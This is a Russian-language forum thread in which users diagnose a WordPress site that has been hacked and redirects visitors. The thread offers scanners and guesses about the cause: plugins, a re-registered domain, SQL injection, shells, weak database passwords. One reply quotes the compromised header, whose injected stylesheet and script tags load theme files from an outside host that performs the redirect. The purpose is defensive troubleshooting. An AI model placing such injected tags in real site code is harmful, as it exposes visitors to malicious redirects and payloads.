Сайт сломали?

https://revisium.com/ai/ скачай "AI-Bolit для сайтов" и им проверь.

Обычный дефейс. Без конкретики нечего сказать.

Дык там вообще перенаправление сейчас. :D

Гаданием по фотокарточке и отворотным зельем?

Такие проблемы решаются специалистами на месте, а не советами по интернету.

У вас в хедере инициатор, смотрите откуда он там:

<link rel="stylesheet" href="http://statistic.admarketlocation.com/for/hos?l1/wp-content/themes/Nicol/css/screen.css" type="text/css" media="screen, projection" />
<link rel="stylesheet" href="http://statistic.admarketlocation.com/for/hos?l1/wp-content/themes/Nicol/css/print.css" type="text/css" media="print" />
<!--[if IE]><link rel="stylesheet" href="http://statistic.admarketlocation.com/for/hos?l1/wp-content/themes/Nicol/css/ie.css" type="text/css" media="screen, projection"><![endif]-->
<link rel="stylesheet" href="http://statistic.admarketlocation.com/for/hos?l1/wp-content/themes/Nicol/style.css" type="text/css" media="screen" />
<link rel="stylesheet" href="http://statistic.admarketlocation.com/for/hos?l1/wp-content/themes/Nicol/jdgallery/jd.gallery.css" type="text/css" media="screen" charset="utf-8" />
<script src="http://statistic.admarketlocation.com/for/hos?l1/wp-content/themes/Nicol/jdgallery/mootools-1.2.1-core-yc.js" type="text/javascript"></script>
<script src="http://statistic.admarketlocation.com/for/hos?l1/wp-content/themes/Nicol/jdgallery/mootools-1.2-more.js" type="text/javascript"></script>
<script src="http://statistic.admarketlocation.com/for/hos?l1/wp-content/themes/Nicol/jdgallery/jd.gallery.js" type="text/javascript"></script>
<script src="http://statistic.admarketlocation.com/for/hos?l1/wp-content/themes/Nicol/jdgallery/jd.gallery.transitions.js" type="text/javascript"></script>

Возможно ставили новую тему или плагин для WP.

Вероятно взломали не ваш сайт, а тот с которого эти ссылки, т.е. admarketlocation.com :

http://statistic.admarketlocation.com/for/hos?l1/wp-content/themes/Nicol/style.css

т.к. при подгрузке этих урлов происходит перенаправление, т.е. резюме такое избавиться от перенаправлений можно удалив линки на admarketlocation.com.

А откуда они там..., возможно вы их положили (плагинами и пр) или кто-то, или тот сайт с которого ссылки дропнулся, кто-то подобрал и повесил свою гадость, тут вопрос открытый.

https://ru.stackoverflow.com/questions/777029/%d0%92%d0%b8%d1%80%d1%83%d1%81%d1%8b-%d0%b2-wordpress/777040#777040 п.3

А как они могут туда вшить, что-то без твоего участия, разве, что только sql инъекция, бэкапа нету сайта? Бэкапни

да много способов. Шелл залил - и поехали.

А то бывает - и БД как проходные ворота. Сколько раз замечал - там и пароли в стиле qwerty, и когда у разраба или админа забирают доступы - про БД никто не вспоминает.

Какая разница какой пароль к базе ? Если к ней доступ только с локалхоста - никто же БД не выставляет открытым портом в инет !

На самом деле, есть варианты, когда в БД можно зайти с другого аккаунта на хостинге. Так что пароль нужен нормальный всё же.